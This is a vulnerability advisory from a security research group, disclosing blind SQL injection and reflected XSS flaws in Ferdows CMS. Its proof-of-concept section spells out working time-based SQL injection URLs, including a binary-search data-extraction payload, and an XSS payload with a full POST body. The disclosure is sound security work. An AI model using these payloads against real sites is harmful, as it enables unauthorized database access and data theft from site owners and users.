Ferdows CMS Pro <=1.1.0 and Ferdows CMS <=9.0.5 Multiple
########################## www.BugReport.ir =20
#######################################
#
#=09=09=09AmnPardaz Security Research Team
#
# Title: Ferdows CMS Pro <=3D1.1.0 and Ferdows CMS <=3D9.0.5 Multiple =20
Vulnerabilities
# Vendor: www.fcms.ir
# Exploit: Available
# Vulnerable Version: 1.1.0 (Pro) & 9.0.5 (CMS)
# Impact: Medium
# Original Advisory: http://www.bugreport.ir/index_77.htm
# Fix: N/A
############################################################################=
#######
####################
1. Description:
####################
=09Ferdows CMS is a complete, fully featured CMS in ASP.NET language and =20
using AJAX technology with MSSQL and became a powerful CMS having =20
plenty of strong modules.
=09This CMS is not open-source and is accessible for private use by the =20
author company for designing their customer's websites.
####################
2. Vulnerabilities:
####################
=092.1. Injection Flaws. Blind SQL Injection in "/about.aspx" and =20
"/archive.aspx" and "/default1.aspx" in "siteid" parameter.
=09=092.1.1. Exploit:
=09=09=09=09=09=09Check the exploit/POC section.
=092.2. Injection Flaws. Blind SQL Injection in "/archive.aspx" in "sid" =20
parameter.
=09=092.2.1. Exploit:
=09=09=09=09=09=09Check the exploit/POC section.
=092.3. Cross Site Scripting (XSS). Reflected XSS attack in =20
"/showdata.aspx" in "dataid" parameter. (Post Method)
=09=092.3.1. Exploit:
=09=09=09=09=09=09Check the exploit/POC section.
####################
3. Exploits/PoCs:
####################
Original Exploit URL: http://www.bugreport.ir/77/exploit.htm
=093.1. Injection Flaws. Blind SQL Injection in "/about.aspx" and =20
"/archive.aspx" and "/default1.aspx" in "siteid" parameter.
=093.2. Injection Flaws. Blind SQL Injection in "/archive.aspx" in "sid" =20
parameter.
=09=09-------------
=09=09Check database username:
=09=09http://[URL]/default1.aspx?siteid=3D1'; IF SYSTEM_USER=3D'sa' waitfor =
=20
delay '00:00:10'--
=09=09http://[URL]/archive.aspx?sid=3D19&siteid=3D1'; IF SYSTEM_USER=3D'sa' =
=20
waitfor delay '00:00:10'--
=09=09http://[URL]/archive.aspx?sid=3D19'; IF SYSTEM_USER=3D'sa' waitfor del=
ay =20
'00:00:10'--&siteid=3D1
=09=09Binary Search Exploits:
=09=09http://[URL]/about.aspx?siteid=3D1'; IF ASCII(SUBSTRING((=E2=80=A6),i,=
1)) > k =20
waitfor delay '00:00:10'--
=09=09Note: In last POC, i is the i-th byte returned by the one-row =20
subquery (=E2=80=A6) and k is the current middle value of the binary search.
=09=09-------------
=093.3. Cross Site Scripting (XSS). Reflected XSS attack in =20
"/showdata.aspx" in "dataid" parameter. (POST METHOD)
=09=09-------------
=09=09http://[URL]/showdata.aspx?dataid=3D%22%20onmouseover%3Dprompt%28%27XS=
S-from-BugReport%27%29%20continue%3D%22&siteid=3D1
=09=09__EVENTARGUMENT=3D&__EVENTTARGET=3D&__EVENTVALIDATION=3D%2fwEWBQKh%2f8=
jADgKprNPRAQKe%2b%2bCDCwKY38eYCQLRmu35DOB6MkYbirW%2fduDB97KKNKznAXjO&__VIEWS=
TATE=3D%2fwEPDwUKMTc1Nzk5Nzk1MGQYAgU0Y3RsMDAkQ29udGVudFBsYWNlSG9sZGVyMSRWaWV=
3cG9pbnQxJENhcHRjaGFDb250cm9sMQ8FJDc4OTg0YzkzLThiOWQtNDczZi04OTExLWYwZjcxODR=
iODFiOWQFMWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlcjEkVmlld3BvaW50MSRHVl9WaWV3UG9pbnQ=
PPCsACgEIZmTsHHUhMC543Vq3m%2fWANPP5J1edvw%3d%3d&ctl00%24ContentPlaceHolder1%=
24Viewpoint1%24CaptchaControl1=3D&ctl00%24ContentPlaceHolder1%24Viewpoint1%2=
4sendvp=3D%d8%a7%d8%b1%d8%b3%d8%a7%d9%84&ctl00%24ContentPlaceHolder1%24Viewp=
oint1%24tx_body=3D&ctl00%24ContentPlaceHolder1%24Viewpoint1%24tx_email=3Dsam=
ple@email.tst&ctl00%24ContentPlaceHolder1%24Viewpoint1%24tx_name=3Dtestt
=09=09-------------
####################
4. Solution:
####################
=09Edit the source code to ensure that inputs are properly sanitized.
####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com